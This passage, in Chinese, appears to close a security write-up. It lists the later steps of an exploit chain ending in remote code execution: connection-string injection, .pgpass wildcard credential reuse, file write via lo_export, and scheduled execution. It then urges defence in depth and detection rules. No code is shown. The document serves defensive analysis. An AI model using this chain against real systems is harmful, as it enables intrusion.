  3. 连接串注入(libpq 参数覆盖)实现了数据库连接重定向
  4. 凭证复用(.pgpass 通配符)解决了认证问题
  5. 任意文件写入(lo_export + CHECK 约束)实现了代码植入
  6. 调度执行(modular input 定时运行)完成了最终 RCE

这六个环节缺一不可,任何一个环节的防护措施都能阻断整个利用链。这也提醒安全工程师:纵深防御不是可选项,而是必需品。每一个层级的防护都在缩小攻击者的可用攻击面,提高利用成本。

对于 SOC 分析师而言,理解这条利用链的每个阶段对于构建有效的检测规则至关重要。上述 SPL 查询覆盖了从初始探测到最终文件写入的各个阶段,建议将其纳入日常监控告警规则集中,并结合 Nuclei 模板进行定期漏洞扫描,确保修复措施落实到位。